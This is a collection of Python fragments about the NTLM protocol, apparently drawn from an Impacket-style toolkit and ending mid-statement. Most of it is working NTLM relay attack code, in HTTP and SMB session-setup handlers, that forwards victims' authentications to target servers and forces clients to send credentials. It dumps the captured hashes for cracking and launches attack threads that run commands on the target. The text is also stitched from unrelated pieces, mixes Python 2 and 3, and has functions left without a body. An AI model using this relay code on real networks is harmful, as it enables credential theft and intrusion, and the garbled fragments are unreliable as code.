def test_refactor_negotiate_message(self): print('#### Pack and parse, without version') negoMsgToPack = ntlm.NTLMAuthNegotiate() negoMsgParsed = self.__pack_and_parse(negoMsgToPack, bytearray( b'NTLMSSP\x00\x01\x00\x00\x001\x02\x00`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' )) self.assertEqual(negoMsgParsed['flags'] & ntlm.NTLMSSP_NEGOTIATE_VERSION, 0) self.assertEqual(negoMsgParsed['os_version'], '') print('#### Pack and parse, with version') major, minor, build = 10, 0, 19041 version = ntlm.VERSION() version['ProductMajorVersion'], version['ProductMinorVersion'], version['ProductBuild'] = major, minor, build negoMsgToPack = ntlm.NTLMAuthNegotiate() negoMsgToPack['os_version'] = version negoMsgParsed = self.__pack_and_parse(negoMsgToPack, bytearray( b'NTLMSSP\x00\x01\x00\x00\x001\x02\x00b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x0a\x00aJ\x00\x00\x00\x0f' )) self.assertEqual(negoMsgParsed['flags'] & ntlm.NTLMSSP_NEGOTIATE_VERSION, ntlm.NTLMSSP_NEGOTIATE_VERSION) self.assertEqual(negoMsgParsed['os_version']['ProductMajorVersion'], major) self.assertEqual(negoMsgParsed['os_version']['ProductMinorVersion'], minor) self.assertEqual(negoMsgParsed['os_version']['ProductBuild'], build) print('#### Try to set the NTLMSSP_NEGOTIATE_VERSION flag without specifying os_version') negoMsgToPack = ntlm.NTLMAuthNegotiate() negoMsgToPack['flags'] |= ntlm.NTLMSSP_NEGOTIATE_VERSION self.assertRaises(Exception, negoMsgToPack.getData)
def __pack_and_parse(self, message, expected): data = message.getData() hexdump(data) self.assertEqual(data, expected) parsed = ntlm.NTLMAuthNegotiate() parsed.fromString(data) return parsed
def do_local_auth(self, messageType, token, proxy): if messageType == 1: negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) ansFlags = 0 if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_56: ansFlags |= ntlm.NTLMSSP_NEGOTIATE_56 if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_128: ansFlags |= ntlm.NTLMSSP_NEGOTIATE_128 if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH: ansFlags |= ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY: ansFlags |= ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: ansFlags |= ntlm.NTLMSSP_NEGOTIATE_UNICODE if negotiateMessage['flags'] & ntlm.NTLM_NEGOTIATE_OEM: ansFlags |= ntlm.NTLM_NEGOTIATE_OEM ansFlags |= ntlm.NTLMSSP_NEGOTIATE_VERSION | ntlm.NTLMSSP_NEGOTIATE_TARGET_INFO | \ ntlm.NTLMSSP_TARGET_TYPE_SERVER | ntlm.NTLMSSP_NEGOTIATE_NTLM challengeMessage = ntlm.NTLMAuthChallenge() challengeMessage['flags'] = ansFlags challengeMessage['domain_name'] = "" challengeMessage['challenge'] = ''.join(random.choice(string.printable) for _ in range(64)) challengeMessage['TargetInfoFields'] = ntlm.AV_PAIRS() challengeMessage['TargetInfoFields_len'] = 0 challengeMessage['TargetInfoFields_max_len'] = 0 challengeMessage['TargetInfoFields_offset'] = 40 + 16 challengeMessage['Version'] = b'\xff' * 8 challengeMessage['VersionLen'] = 8 self.do_AUTHHEAD(message=b'NTLM ' + base64.b64encode(challengeMessage.getData()),proxy=proxy) return elif messageType == 3: authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))).upper() else: self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'), authenticateMessage['user_name'].decode('ascii'))).upper() self.target = self.server.config.target.getTarget(identity = self.authUser) if self.target is None: LOG.info("HTTPD(%s): Connection from %s@%s controlled, but there are no more targets left!" % (self.server.server_address[1], self.authUser, self.client_address[0])) self.send_not_found() return LOG.info("HTTPD(%s): Connection from %s@%s controlled, attacking target %s://%s" % (self.authUser, self.server.server_address[1], self.client_address[0], self.target.scheme, self.target.netloc)) self.relayToHost = True self.do_REDIRECT()
class NTLMV2_Struct(object): NEGOTIATE_INFO = ntlm.NTLMAuthNegotiate() CHALLENGE_INFO = ntlm.NTLMAuthChallenge() RESPONSE_INFO = ntlm.NTLMAuthChallengeResponse() def getNtProofString(self): # return self.RESPONSE_INFO['ntlm'][:16] def getBasicData(self): responseServerVersion = self.RESPONSE_INFO['ntlm'][16] hiResponseServerVersion = self.RESPONSE_INFO['ntlm'][17] aTime = self.RESPONSE_INFO['ntlm'][24:32] clientChallenge = self.RESPONSE_INFO['ntlm'][32:40] serverChallenge = self.CHALLENGE_INFO['challenge'] serverName = self.RESPONSE_INFO['ntlm'][44:] basicData = responseServerVersion + hiResponseServerVersion + '\x00' * 6 + aTime + clientChallenge + '\x00' * 4 + serverName return basicData def getExtended(self): # return (self.RESPONSE_INFO['flags'] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY == ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY) def getExchangedKey(self): return self.RESPONSE_INFO['session_key'] # Returns DOMAIN/USERNAME def getUser(self): return self.RESPONSE_INFO['domain_name'].decode("utf-16-le").encode( "utf-8").upper() + "/" + self.RESPONSE_INFO['user_name'].decode( "utf-16-le").encode("utf-8").upper()
def do_ntlm_negotiate(self,client,token): #Since the clients all support the same operations there is no target protocol specific code needed for now if 'LDAP' in self.target[0]: #Remove the message signing flag #For LDAP this is required otherwise it triggers LDAP signing negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) #negotiateMessage['flags'] ^= ntlm.NTLMSSP_NEGOTIATE_SIGN clientChallengeMessage = client.sendNegotiate(negotiateMessage.getData()) else: clientChallengeMessage = client.sendNegotiate(token) challengeMessage = ntlm.NTLMAuthChallenge() challengeMessage.fromString(clientChallengeMessage) return challengeMessage
def bind_ntlm_authinfo(dcerpc, iface_uuid): # Build MSRPCBind information bind = MSRPCBind() item = CtxItem() item['AbstractSyntax'] = iface_uuid item['TransferSyntax'] = uuidtup_to_bin( ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')) item['ContextID'] = 0 item['TransItems'] = 1 bind.addCtxItem(item) # Build NTLM Authentication Negociate auth = ntlm.NTLMAuthNegotiate() auth['flags'] = ntlm.NTLMSSP_NEGOTIATE_UNICODE # Build Security Trailer sec_trailer = SEC_TRAILER() sec_trailer['auth_type'] = RPC_C_AUTHN_WINNT sec_trailer['auth_level'] = RPC_C_AUTHN_LEVEL_CONNECT sec_trailer['auth_ctx_id'] = 0xb0b0d0ba # Build MSRPC Header packet = MSRPCHeader() packet['type'] = MSRPC_BIND packet['call_id'] = 1 packet['flags'] = 0x03 packet['pduData'] = str(bind) packet['sec_trailer'] = sec_trailer packet['auth_data'] = str(auth) # Send MSRPC request dcerpc._transport.send(packet.get_packet()) # Receive MSRPC response s = dcerpc._transport.recv() if s == 0: print "Failed to retrieve a Bind response!" return 0 resp = MSRPCHeader(s) return resp
def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus=False) ############################################################# # SMBRelay smbData = smbServer.getConnectionData('SMBRelay', False) ############################################################# respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) if connData['_dialects_parameters'][ 'Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY: # Extended security. Here we deal with all SPNEGO stuff respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters( ) respData = smb.SMBSessionSetupAndX_Extended_Response_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters( SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data() sessionSetupData['SecurityBlobLength'] = sessionSetupParameters[ 'SecurityBlobLength'] sessionSetupData.fromString(SMBCommand['Data']) connData['Capabilities'] = sessionSetupParameters['Capabilities'] if struct.unpack( 'B', sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID: # If there no GSSAPI ID, it must be an AUTH packet blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) token = blob['ResponseToken'] else: # NEGOTIATE packet blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) token = blob['MechToken'] # Here we only handle NTLMSSP, depending on what stage of the # authentication we are, we act on it messageType = struct.unpack( '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0] if messageType == 0x01: # NEGOTIATE_MESSAGE negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) # Let's store it in the connection data connData['NEGOTIATE_MESSAGE'] = negotiateMessage ############################################################# # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. # Let's send it to the target server and send the answer back to the client. client = smbData[self.target]['SMBClient'] challengeMessage = self.do_ntlm_negotiate(client, token) ############################################################# respToken = SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegResult'] = '\x01' respToken['SupportedMech'] = TypesMech[ 'NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = str(challengeMessage) # Setting the packet to STATUS_MORE_PROCESSING errorCode = STATUS_MORE_PROCESSING_REQUIRED # Let's set up an UID for this connection and store it # in the connection's data # Picking a fixed value # TODO: Manage more UIDs for the same session connData['Uid'] = 10 # Let's store it in the connection data connData['CHALLENGE_MESSAGE'] = challengeMessage elif messageType == 0x03: # AUTHENTICATE_MESSAGE, here we deal with authentication ############################################################# # SMBRelay: Ok, so now the have the Auth token, let's send it # back to the target system and hope for the best. client = smbData[self.target]['SMBClient'] authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) if authenticateMessage['user_name'] != '': #For some attacks it is important to know the authenticated username, so we store it connData['AUTHUSER'] = authenticateMessage['user_name'] self.authUser = connData['AUTHUSER'] clientResponse, errorCode = self.do_ntlm_auth( client, sessionSetupData['SecurityBlob'], connData['CHALLENGE_MESSAGE']['challenge']) #clientResponse, errorCode = smbClient.sendAuth(sessionSetupData['SecurityBlob'],connData['CHALLENGE_MESSAGE']['challenge']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet[ 'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet[ 'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = '\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff # Reset the UID if self.target[0] == 'SMB': client.setUid(0) logging.error( "Authenticating against %s as %s\%s FAILED" % (self.target, authenticateMessage['domain_name'], authenticateMessage['user_name'])) #Log this target as processed for this client self.targetprocessor.log_target(connData['ClientIP'], self.target) #del (smbData[self.target]) return None, [packet], errorCode else: # We have a session, create a thread and do whatever we want logging.info( "Authenticating against %s as %s\%s SUCCEED" % (self.target, authenticateMessage['domain_name'], authenticateMessage['user_name'])) #Log this target as processed for this client self.targetprocessor.log_target(connData['ClientIP'], self.target) ntlm_hash_data = outputToJohnFormat( connData['CHALLENGE_MESSAGE']['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm']) logging.info(ntlm_hash_data['hash_string']) if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) del (smbData[self.target]) self.do_attack(client) # Now continue with the server ############################################################# respToken = SPNEGO_NegTokenResp() # accept-completed respToken['NegResult'] = '\x00' # Status SUCCESS errorCode = STATUS_SUCCESS # Let's store it in the connection data connData['AUTHENTICATE_MESSAGE'] = authenticateMessage else: raise Exception("Unknown NTLMSSP MessageType %d" % messageType) respParameters['SecurityBlobLength'] = len(respToken) respData['SecurityBlobLength'] = respParameters[ 'SecurityBlobLength'] respData['SecurityBlob'] = respToken.getData() else: # Process Standard Security #TODO: Fix this for other protocols than SMB [!] respParameters = smb.SMBSessionSetupAndXResponse_Parameters() respData = smb.SMBSessionSetupAndXResponse_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters( SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Data() sessionSetupData['AnsiPwdLength'] = sessionSetupParameters[ 'AnsiPwdLength'] sessionSetupData['UnicodePwdLength'] = sessionSetupParameters[ 'UnicodePwdLength'] sessionSetupData.fromString(SMBCommand['Data']) connData['Capabilities'] = sessionSetupParameters['Capabilities'] ############################################################# # SMBRelay smbClient = smbData[self.target]['SMBClient'] if sessionSetupData['Account'] != '': #TODO: Fix this for other protocols than SMB [!] clientResponse, errorCode = smbClient.login_standard( sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet[ 'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet[ 'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = '\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff # Reset the UID smbClient.setUid(0) #Log this target as processed for this client self.targetprocessor.log_target(connData['ClientIP'], self.target) return None, [packet], errorCode # Now continue with the server else: # We have a session, create a thread and do whatever we want ntlm_hash_data = outputToJohnFormat( '', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) logging.info(ntlm_hash_data['hash_string']) if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) #TODO: Fix this for other protocols than SMB [!] clientThread = self.config.attacks['SMB'](self.config, smbClient, self.config.exeFile, self.config.command) clientThread.start() #Log this target as processed for this client self.targetprocessor.log_target(connData['ClientIP'], self.target) # Remove the target server from our connection list, the work is done del (smbData[self.target]) # Now continue with the server ############################################################# # Do the verification here, for just now we grant access # TODO: Manage more UIDs for the same session errorCode = STATUS_SUCCESS connData['Uid'] = 10 respParameters['Action'] = 0 respData['NativeOS'] = smbServer.getServerOS() respData['NativeLanMan'] = smbServer.getServerOS() respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData # From now on, the client can ask for other commands connData['Authenticated'] = True ############################################################# # SMBRelay smbServer.setConnectionData('SMBRelay', smbData) ############################################################# smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode
def smbComSessionSetupAndX(packet, packetNum, SMBCommand, questions, replies): # Test return code is always 0, otherwise leave before doing anything if packet['ErrorCode'] != 0: if packet['ErrorClass'] != 0x16: return False print "SMB_COM_SESSION_SETUP_ANDX ", try: if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0: # Query if SMBCommand['WordCount'] == 12: # Extended Security sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters( SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data() sessionSetupData[ 'SecurityBlobLength'] = sessionSetupParameters[ 'SecurityBlobLength'] sessionSetupData.fromString(SMBCommand['Data']) if struct.unpack('B', sessionSetupData['SecurityBlob'] [0])[0] != smb.ASN1_AID: # If there no GSSAPI ID, it must be an AUTH packet blob = smb.SPNEGO_NegTokenResp( sessionSetupData['SecurityBlob']) token = blob['ResponseToken'] else: # NEGOTIATE packet blob = smb.SPNEGO_NegTokenInit( sessionSetupData['SecurityBlob']) token = blob['MechToken'] messageType = struct.unpack( '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0] if messageType == 0x01: # NEGOTIATE_MESSAGE negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) elif messageType == 0x03: # AUTHENTICATE_MESSAGE, here we deal with authentication authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) else: # Standard Security sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters( SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Data() sessionSetupData['AnsiPwdLength'] = sessionSetupParameters[ 'AnsiPwdLength'] sessionSetupData['UnicodePwdLength'] = sessionSetupParameters[ 'UnicodePwdLength'] sessionSetupData.fromString(SMBCommand['Data']) else: # Response if SMBCommand['WordCount'] == 4: # Extended Security sessionResponse = SMBCommand sessionParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters( sessionResponse['Parameters']) sessionData = smb.SMBSessionSetupAndX_Extended_Response_Data( flags=packet['Flags2']) sessionData['SecurityBlobLength'] = sessionParameters[ 'SecurityBlobLength'] sessionData.fromString(sessionResponse['Data']) respToken = smb.SPNEGO_NegTokenResp( sessionData['SecurityBlob']) if respToken.fields.has_key('ResponseToken'): # Let's parse some data and keep it to ourselves in case it is asked ntlmChallenge = ntlm.NTLMAuthChallenge( respToken['ResponseToken']) if ntlmChallenge['TargetInfoFields_len'] > 0: infoFields = ntlmChallenge['TargetInfoFields'] av_pairs = ntlm.AV_PAIRS( ntlmChallenge['TargetInfoFields'] [:ntlmChallenge['TargetInfoFields_len']]) if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None: __server_name = av_pairs[ ntlm.NTLMSSP_AV_HOSTNAME][1].decode('utf-16le') if av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME] is not None: __server_domain = av_pairs[ ntlm.NTLMSSP_AV_DOMAINNAME][1].decode( 'utf-16le') else: # Standard Security sessionResponse = SMBCommand sessionParameters = smb.SMBSessionSetupAndXResponse_Parameters( sessionResponse['Parameters']) sessionData = smb.SMBSessionSetupAndXResponse_Data( flags=packet['Flags2'], data=sessionResponse['Data']) except Exception, e: print "ERROR: %s" % e print "Command: 0x%x" % packet['Command'] print "Packet: %d %r" % (packetNum, packet.getData()) return True
def SmbSessionSetup(self, connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus=False) respSMBCommand = smb3.SMB2SessionSetup_Response() sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data']) connData['Capabilities'] = sessionSetupData['Capabilities'] securityBlob = sessionSetupData['Buffer'] rawNTLM = False if struct.unpack('B', securityBlob[0:1])[0] == ASN1_AID: # NEGOTIATE packet blob = SPNEGO_NegTokenInit(securityBlob) token = blob['MechToken'] if len(blob['MechTypes'][0]) > 0: # Is this GSSAPI NTLM or something else we don't support? mechType = blob['MechTypes'][0] if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \ mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']: # Nope, do we know it? if mechType in MechTypes: mechStr = MechTypes[mechType] else: mechStr = hexlify(mechType) smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL) # We don't know the token, we answer back again saying # we just support NTLM. # ToDo: Build this into a SPNEGO_NegTokenResp() respToken = b'\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a' respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = respToken return [respSMBCommand ], None, STATUS_MORE_PROCESSING_REQUIRED elif struct.unpack('B', securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH: # AUTH packet blob = SPNEGO_NegTokenResp(securityBlob) token = blob['ResponseToken'] else: # No GSSAPI stuff, raw NTLMSSP rawNTLM = True token = securityBlob # Here we only handle NTLMSSP, depending on what stage of the # authentication we are, we act on it messageType = struct.unpack( '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0] if messageType == 0x01: # NEGOTIATE_MESSAGE negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) # Let's store it in the connection data connData['NEGOTIATE_MESSAGE'] = negotiateMessage ############################################################# # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. # Let's send it to the target server and send the answer back to the client. client = connData['SMBClient'] try: challengeMessage = self.do_ntlm_negotiate(client, token) except Exception as e: LOG.debug("Exception:", exc_info=True) # Log this target as processed for this client self.targetprocessor.logTarget(self.target) # Raise exception again to pass it on to the SMB server raise ############################################################# if rawNTLM is False: respToken = SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegResult'] = b'\x01' respToken['SupportedMech'] = TypesMech[ 'NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = challengeMessage.getData() else: respToken = challengeMessage # Setting the packet to STATUS_MORE_PROCESSING errorCode = STATUS_MORE_PROCESSING_REQUIRED # Let's set up an UID for this connection and store it # in the connection's data connData['Uid'] = random.randint(1, 0xffffffff) connData['CHALLENGE_MESSAGE'] = challengeMessage elif messageType == 0x02: # CHALLENGE_MESSAGE raise Exception('Challenge Message raise, not implemented!') elif messageType == 0x03: # AUTHENTICATE_MESSAGE, here we deal with authentication ############################################################# # SMBRelay: Ok, so now the have the Auth token, let's send it # back to the target system and hope for the best. client = connData['SMBClient'] authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) if authenticateMessage['user_name'] != '': # For some attacks it is important to know the authenticated username, so we store it self.authUser = ( '%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le')) ).upper() if rawNTLM is True: respToken2 = SPNEGO_NegTokenResp() respToken2['ResponseToken'] = securityBlob securityBlob = respToken2.getData() clientResponse, errorCode = self.do_ntlm_auth( client, token, connData['CHALLENGE_MESSAGE']['challenge']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: #Log this target as processed for this client self.targetprocessor.logTarget(self.target) LOG.error( "Authenticating against %s://%s as %s\\%s FAILED" % (self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) client.killConnection() else: # We have a session, create a thread and do whatever we want LOG.critical( "Authenticating against %s://%s as %s\\%s SUCCEED" % (self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) # Log this target as processed for this client self.targetprocessor.logTarget(self.target, True, self.authUser) ntlm_hash_data = outputToJohnFormat( connData['CHALLENGE_MESSAGE']['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm']) client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) connData['Authenticated'] = True self.do_attack(client) # Now continue with the server ############################################################# respToken = SPNEGO_NegTokenResp() # accept-completed respToken['NegResult'] = b'\x00' # Let's store it in the connection data connData['AUTHENTICATE_MESSAGE'] = authenticateMessage else: raise Exception("Unknown NTLMSSP MessageType %d" % messageType) respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = respToken.getData() smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode
def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus=False) ############################################################# # SMBRelay # Are we ready to relay or should we just do local auth? if 'relayToHost' not in connData: # Just call the original SessionSetup return self.origSmbSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket) # We have confirmed we want to relay to the target host. respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) if connData['_dialects_parameters'][ 'Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY: # Extended security. Here we deal with all SPNEGO stuff respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters( ) respData = smb.SMBSessionSetupAndX_Extended_Response_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters( SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data() sessionSetupData['SecurityBlobLength'] = sessionSetupParameters[ 'SecurityBlobLength'] sessionSetupData.fromString(SMBCommand['Data']) connData['Capabilities'] = sessionSetupParameters['Capabilities'] rawNTLM = False if struct.unpack( 'B', sessionSetupData['SecurityBlob'][0:1])[0] != ASN1_AID: # If there no GSSAPI ID, it must be an AUTH packet blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) token = blob['ResponseToken'] else: # NEGOTIATE packet blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) token = blob['MechToken'] # Here we only handle NTLMSSP, depending on what stage of the # authentication we are, we act on it messageType = struct.unpack( '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0] if messageType == 0x01: # NEGOTIATE_MESSAGE negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) # Let's store it in the connection data connData['NEGOTIATE_MESSAGE'] = negotiateMessage ############################################################# # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. # Let's send it to the target server and send the answer back to the client. client = connData['SMBClient'] try: challengeMessage = self.do_ntlm_negotiate(client, token) except Exception: # Log this target as processed for this client self.targetprocessor.logTarget(self.target) # Raise exception again to pass it on to the SMB server raise ############################################################# respToken = SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegState'] = b'\x01' respToken['SupportedMech'] = TypesMech[ 'NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = challengeMessage.getData() # Setting the packet to STATUS_MORE_PROCESSING errorCode = STATUS_MORE_PROCESSING_REQUIRED # Let's set up an UID for this connection and store it # in the connection's data # Picking a fixed value # TODO: Manage more UIDs for the same session connData['Uid'] = 10 connData['CHALLENGE_MESSAGE'] = challengeMessage elif messageType == 0x03: # AUTHENTICATE_MESSAGE, here we deal with authentication ############################################################# # SMBRelay: Ok, so now the have the Auth token, let's send it # back to the target system and hope for the best. client = connData['SMBClient'] authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) if authenticateMessage['user_name'] != '': #For some attacks it is important to know the authenticated username, so we store it self.authUser = ( '%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le')) ).upper() clientResponse, errorCode = self.do_ntlm_auth( client, sessionSetupData['SecurityBlob'], connData['CHALLENGE_MESSAGE']['challenge']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet[ 'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet[ 'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = b'\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc, self.authUser)) #Log this target as processed for this client self.targetprocessor.logTarget(self.target) client.killConnection() return None, [packet], errorCode else: # We have a session, create a thread and do whatever we want LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser)) # Log this target as processed for this client self.targetprocessor.logTarget(self.target, True, self.authUser) ntlm_hash_data = outputToJohnFormat( connData['CHALLENGE_MESSAGE']['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm']) client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) self.do_attack(client) # Now continue with the server ############################################################# respToken = SPNEGO_NegTokenResp() # accept-completed respToken['NegState'] = b'\x00' # Done with the relay for now. connData['Authenticated'] = True del (connData['relayToHost']) # Status SUCCESS errorCode = STATUS_SUCCESS # Let's store it in the connection data connData['AUTHENTICATE_MESSAGE'] = authenticateMessage else: raise Exception("Unknown NTLMSSP MessageType %d" % messageType) respParameters['SecurityBlobLength'] = len(respToken) respData['SecurityBlobLength'] = respParameters[ 